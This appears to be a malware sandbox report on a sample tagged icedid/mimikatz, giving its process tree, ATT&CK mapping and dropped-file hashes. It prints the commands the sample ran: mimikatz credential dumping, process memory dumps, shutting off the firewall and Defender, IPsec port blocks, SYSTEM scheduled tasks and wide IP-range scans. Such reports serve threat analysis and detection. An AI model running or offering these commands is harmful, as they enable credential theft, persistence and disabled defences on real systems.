PID 2172 wrote to memory of 2460	2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe	29
PID 2172 wrote to memory of 2460	2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe	29
PID 2172 wrote to memory of 2460	2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe	29
PID 2172 wrote to memory of 2460	2172	2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe	29
PID 2460 wrote to memory of 2992	2460	cmd.exe	31
PID 2460 wrote to memory of 2992	2460	cmd.exe	31
PID 2460 wrote to memory of 2992	2460	cmd.exe	31
PID 2460 wrote to memory of 2992	2460	cmd.exe	31
PID 2460 wrote to memory of 2820	2460	cmd.exe	32
PID 2460 wrote to memory of 2820	2460	cmd.exe	32
PID 2460 wrote to memory of 2820	2460	cmd.exe	32
PID 2460 wrote to memory of 2820	2460	cmd.exe	32
PID 3024 wrote to memory of 2744	3024	nihkvnz.exe	34
PID 3024 wrote to memory of 2744	3024	nihkvnz.exe	34
PID 3024 wrote to memory of 2744	3024	nihkvnz.exe	34
PID 3024 wrote to memory of 2744	3024	nihkvnz.exe	34
PID 2744 wrote to memory of 2756	2744	cmd.exe	36
PID 2744 wrote to memory of 2756	2744	cmd.exe	36
PID 2744 wrote to memory of 2756	2744	cmd.exe	36
PID 2744 wrote to memory of 2756	2744	cmd.exe	36
PID 2744 wrote to memory of 2852	2744	cmd.exe	37
PID 2744 wrote to memory of 2852	2744	cmd.exe	37
PID 2744 wrote to memory of 2852	2744	cmd.exe	37
PID 2744 wrote to memory of 2852	2744	cmd.exe	37
PID 2744 wrote to memory of 3000	2744	cmd.exe	38
PID 2744 wrote to memory of 3000	2744	cmd.exe	38
PID 2744 wrote to memory of 3000	2744	cmd.exe	38
PID 2744 wrote to memory of 3000	2744	cmd.exe	38
PID 2744 wrote to memory of 3004	2744	cmd.exe	39
PID 2744 wrote to memory of 3004	2744	cmd.exe	39
PID 2744 wrote to memory of 3004	2744	cmd.exe	39
PID 2744 wrote to memory of 3004	2744	cmd.exe	39
PID 2744 wrote to memory of 2716	2744	cmd.exe	40
PID 2744 wrote to memory of 2716	2744	cmd.exe	40
PID 2744 wrote to memory of 2716	2744	cmd.exe	40
PID 2744 wrote to memory of 2716	2744	cmd.exe	40
PID 2744 wrote to memory of 2732	2744	cmd.exe	41
PID 2744 wrote to memory of 2732	2744	cmd.exe	41
PID 2744 wrote to memory of 2732	2744	cmd.exe	41
PID 2744 wrote to memory of 2732	2744	cmd.exe	41
PID 3024 wrote to memory of 2768	3024	nihkvnz.exe	42
PID 3024 wrote to memory of 2768	3024	nihkvnz.exe	42
PID 3024 wrote to memory of 2768	3024	nihkvnz.exe	42
PID 3024 wrote to memory of 2768	3024	nihkvnz.exe	42
PID 3024 wrote to memory of 3048	3024	nihkvnz.exe	44
PID 3024 wrote to memory of 3048	3024	nihkvnz.exe	44
PID 3024 wrote to memory of 3048	3024	nihkvnz.exe	44
PID 3024 wrote to memory of 3048	3024	nihkvnz.exe	44
PID 3024 wrote to memory of 2148	3024	nihkvnz.exe	46
PID 3024 wrote to memory of 2148	3024	nihkvnz.exe	46
PID 3024 wrote to memory of 2148	3024	nihkvnz.exe	46
PID 3024 wrote to memory of 2148	3024	nihkvnz.exe	46
PID 3024 wrote to memory of 2900	3024	nihkvnz.exe	48
PID 3024 wrote to memory of 2900	3024	nihkvnz.exe	48
PID 3024 wrote to memory of 2900	3024	nihkvnz.exe	48
PID 3024 wrote to memory of 2900	3024	nihkvnz.exe	48
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 2900 wrote to memory of 3068	2900	cmd.exe	50
PID 3068 wrote to memory of 892	3068	wpcap.exe	51

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:288
- C:\Windows\TEMP\tckjwhyci\aktvci.exe
  "C:\Windows\TEMP\tckjwhyci\aktvci.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1248

C:\Users\Admin\AppData\Local\Temp\2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe
"C:\Users\Admin\AppData\Local\Temp\2024-10-24_9ac1ad9a7e5c7b2141139517dbb764d7_hacktools_icedid_mimikatz.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: RenamesItself
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2172
- C:\Windows\SysWOW64\cmd.exe
  cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\rtldfmcc\nihkvnz.exe
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:2460
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:2992
- - C:\Windows\rtldfmcc\nihkvnz.exe
    C:\Windows\rtldfmcc\nihkvnz.exe
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:2820

C:\Windows\rtldfmcc\nihkvnz.exe
C:\Windows\rtldfmcc\nihkvnz.exe
1⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3024
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2744
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2756
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2852
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3000
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:3004
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2716
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:2732
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static del all
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2768
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add policy name=Bastards description=FuckingBastards
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:3048
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filteraction name=BastardsList action=block
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2148
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ypbgnfgfn\livcfcfiu\wpcap.exe /S
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2900
- - C:\Windows\ypbgnfgfn\livcfcfiu\wpcap.exe
    C:\Windows\ypbgnfgfn\livcfcfiu\wpcap.exe /S
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in System32 directory
    - Drops file in Program Files directory
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\SysWOW64\net.exe
      net stop "Boundary Meter"
      4⤵
      PID:892
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "Boundary Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2676
  - - C:\Windows\SysWOW64\net.exe
      net stop "TrueSight Meter"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1248
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop "TrueSight Meter"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1132
  - - C:\Windows\SysWOW64\net.exe
      net stop npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2132
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1756
  - - C:\Windows\SysWOW64\net.exe
      net start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:2596
    - - C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 start npf
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2052
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:572
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    PID:900
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1584
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net start npf
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1392
- - C:\Windows\SysWOW64\net.exe
    net start npf
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1036
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 start npf
      4⤵
      System Location Discovery: System Language Discovery
      PID:1956
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ypbgnfgfn\livcfcfiu\rjfiekzcc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ypbgnfgfn\livcfcfiu\Scant.txt
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2580
- - C:\Windows\ypbgnfgfn\livcfcfiu\rjfiekzcc.exe
    C:\Windows\ypbgnfgfn\livcfcfiu\rjfiekzcc.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\ypbgnfgfn\livcfcfiu\Scant.txt
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:2168
- C:\Windows\SysWOW64\cmd.exe
  cmd /c C:\Windows\ypbgnfgfn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\ypbgnfgfn\Corporate\log.txt
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:956
- - C:\Windows\ypbgnfgfn\Corporate\vfshost.exe
    C:\Windows\ypbgnfgfn\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:1968
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "btldecrcl" /ru system /tr "cmd /c C:\Windows\ime\nihkvnz.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2236
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "btldecrcl" /ru system /tr "cmd /c C:\Windows\ime\nihkvnz.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:2808
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "fmullgzie" /ru system /tr "cmd /c echo Y|cacls C:\Windows\rtldfmcc\nihkvnz.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1644
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2380
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "fmullgzie" /ru system /tr "cmd /c echo Y|cacls C:\Windows\rtldfmcc\nihkvnz.exe /p everyone:F"
    3⤵
    - System Location Discovery: System Language Discovery
    - Scheduled Task/Job: Scheduled Task
    PID:1536
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "hyigybsnt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tckjwhyci\aktvci.exe /p everyone:F"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1432
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2660
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "hyigybsnt" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\tckjwhyci\aktvci.exe /p everyone:F"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:1668
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2260
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2992
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2620
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2716
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1076
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:1188
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:872
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1736
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 288 C:\Windows\TEMP\ypbgnfgfn\288.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2080
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - Modifies data under HKEY_USERS
  PID:2300
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  - Modifies data under HKEY_USERS
  PID:2396
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:1812
- C:\Windows\SysWOW64\netsh.exe
  netsh ipsec static set policy name=Bastards assign=y
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  - System Location Discovery: System Language Discovery
  PID:2440
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop SharedAccess
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2232
- - C:\Windows\SysWOW64\net.exe
    net stop SharedAccess
    3⤵
    - System Location Discovery: System Language Discovery
    PID:572
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop SharedAccess
      4⤵
      System Location Discovery: System Language Discovery
      PID:2364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh firewall set opmode mode=disable
  2⤵
  PID:3052
- - C:\Windows\SysWOW64\netsh.exe
    netsh firewall set opmode mode=disable
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1732
- C:\Windows\SysWOW64\cmd.exe
  cmd /c netsh Advfirewall set allprofiles state off
  2⤵
  - System Location Discovery: System Language Discovery
  PID:268
- - C:\Windows\SysWOW64\netsh.exe
    netsh Advfirewall set allprofiles state off
    3⤵
    - Modifies Windows Firewall
    - Event Triggered Execution: Netsh Helper DLL
    - System Location Discovery: System Language Discovery
    PID:1620
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop MpsSvc
  2⤵
  - System Location Discovery: System Language Discovery
  PID:932
- - C:\Windows\SysWOW64\net.exe
    net stop MpsSvc
    3⤵
    PID:1332
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop MpsSvc
      4⤵
      System Location Discovery: System Language Discovery
      PID:2800
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop WinDefend
  2⤵
  PID:1272
- - C:\Windows\SysWOW64\net.exe
    net stop WinDefend
    3⤵
    PID:1288
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop WinDefend
      4⤵
      System Location Discovery: System Language Discovery
      PID:2164
- C:\Windows\SysWOW64\cmd.exe
  cmd /c net stop wuauserv
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1872
- - C:\Windows\SysWOW64\net.exe
    net stop wuauserv
    3⤵
    - System Location Discovery: System Language Discovery
    PID:1664
  - - C:\Windows\SysWOW64\net1.exe
      C:\Windows\system32\net1 stop wuauserv
      4⤵
      System Location Discovery: System Language Discovery
      PID:1364
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config MpsSvc start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:604
- - C:\Windows\SysWOW64\sc.exe
    sc config MpsSvc start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1776
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config SharedAccess start= disabled
  2⤵
  PID:2404
- - C:\Windows\SysWOW64\sc.exe
    sc config SharedAccess start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:916
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config WinDefend start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:1480
- - C:\Windows\SysWOW64\sc.exe
    sc config WinDefend start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:2020
- C:\Windows\SysWOW64\cmd.exe
  cmd /c sc config wuauserv start= disabled
  2⤵
  - System Location Discovery: System Language Discovery
  PID:2548
- - C:\Windows\SysWOW64\sc.exe
    sc config wuauserv start= disabled
    3⤵
    - Launches sc.exe
    - System Location Discovery: System Language Discovery
    PID:1656
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1108 C:\Windows\TEMP\ypbgnfgfn\1108.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2400
- C:\Windows\TEMP\xohudmc.exe
  C:\Windows\TEMP\xohudmc.exe
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:2304
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1168 C:\Windows\TEMP\ypbgnfgfn\1168.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1752
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1268 C:\Windows\TEMP\ypbgnfgfn\1268.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2984
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1492 C:\Windows\TEMP\ypbgnfgfn\1492.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2700
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1592 C:\Windows\TEMP\ypbgnfgfn\1592.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:328
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1324 C:\Windows\TEMP\ypbgnfgfn\1324.dmp
  2⤵
  - Executes dropped EXE
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:2776
- C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe
  C:\Windows\TEMP\ypbgnfgfn\ctjtihzei.exe -accepteula -mp 1240 C:\Windows\TEMP\ypbgnfgfn\1240.dmp
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:2228
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c C:\Windows\ypbgnfgfn\livcfcfiu\scan.bat
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2588
- - C:\Windows\ypbgnfgfn\livcfcfiu\cytccbssd.exe
    cytccbssd.exe TCP 138.199.0.1 138.199.255.255 7001 512 /save
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:2204
- C:\Windows\SysWOW64\cmd.exe
  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
  2⤵
  PID:836
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2972
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D users
    3⤵
    PID:1480
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2456
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
    3⤵
    PID:1916
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1792
- - C:\Windows\SysWOW64\cacls.exe
    cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
    3⤵
    PID:3176

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2848

C:\Windows\SysWOW64\dqljeo.exe
C:\Windows\SysWOW64\dqljeo.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2260

C:\Windows\system32\taskeng.exe
taskeng.exe {BAF44C1E-1B4B-46E0-B25F-42E56A6D8E46} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:1692
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\rtldfmcc\nihkvnz.exe /p everyone:F
  2⤵
  PID:2060
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:2232
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\rtldfmcc\nihkvnz.exe /p everyone:F
    3⤵
    PID:3068
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\tckjwhyci\aktvci.exe /p everyone:F
  2⤵
  PID:1252
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
    3⤵
    PID:1036
- - C:\Windows\system32\cacls.exe
    cacls C:\Windows\TEMP\tckjwhyci\aktvci.exe /p everyone:F
    3⤵
    PID:808
- C:\Windows\system32\cmd.EXE
  C:\Windows\system32\cmd.EXE /c C:\Windows\ime\nihkvnz.exe
  2⤵
  PID:3064
- - C:\Windows\ime\nihkvnz.exe
    C:\Windows\ime\nihkvnz.exe
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of SetWindowsHookEx
    PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

OS Credential Dumping

T1003

LSASS Memory

T1003.001

Discovery

Network Service Discovery

T1046

Network Share Discovery

T1135

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Windows\SysWOW64\Packet.dll

Filesize
95KB

MD5
86316be34481c1ed5b792169312673fd

SHA1
6ccde3a8c76879e49b34e4abb3b8dfaf7a9d77b5

SHA256
49656c178b17198470ad6906e9ee0865f16f01c1dbbf11c613b55a07246a7918

SHA512
3a6e77c39942b89f3f149e9527ab8a9eb39f55ac18a9db3a3922dfb294beb0760d10ca12be0e3a3854ff7dabbe2df18c52e3696874623a2a9c5dc74b29a860bc

Download Submit
C:\Windows\SysWOW64\wpcap.dll

Filesize
275KB

MD5
4633b298d57014627831ccac89a2c50b

SHA1
e5f449766722c5c25fa02b065d22a854b6a32a5b

SHA256
b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

SHA512
29590fa5f72e6a36f2b72fc2a2cca35ee41554e13c9995198e740608975621142395d4b2e057db4314edf95520fd32aae8db066444d8d8db0fd06c391111c6d3

Download Submit
C:\Windows\TEMP\tckjwhyci\config.json

Filesize
693B

MD5
f2d396833af4aea7b9afde89593ca56e

SHA1
08d8f699040d3ca94e9d46fc400e3feb4a18b96b

SHA256
d6ae7c6275b7a9b81ae4a4662c9704f7a68d5943fcc4b8d035e53db708659b34

SHA512
2f359d080c113d58a67f08cb44d9ab84b0dfd7392d6ddb56ca5d1b0e8aa37b984fac720e4373d4f23db967a3465fcf93cee66d7934d4211a22e1ebc640755f01

Download Submit
C:\Windows\TEMP\ypbgnfgfn\1108.dmp

Filesize
1.3MB

MD5
0246b1b21476bf9a18af031f623e0df9

SHA1
abf21a8ef11f957112a1ac17aa851a1757474cd6

SHA256
8f528b3219efae6c26e84eec01597034e30ad0544a0b05088aeac2e7a2345b01

SHA512
41a329d8380e7c13a6270b5aaf27e7036d027953ccb2b7f77aac3049a350804e517824955e37e65f80d355626e89447fc58179fbcd642135c696f135dcebd92e

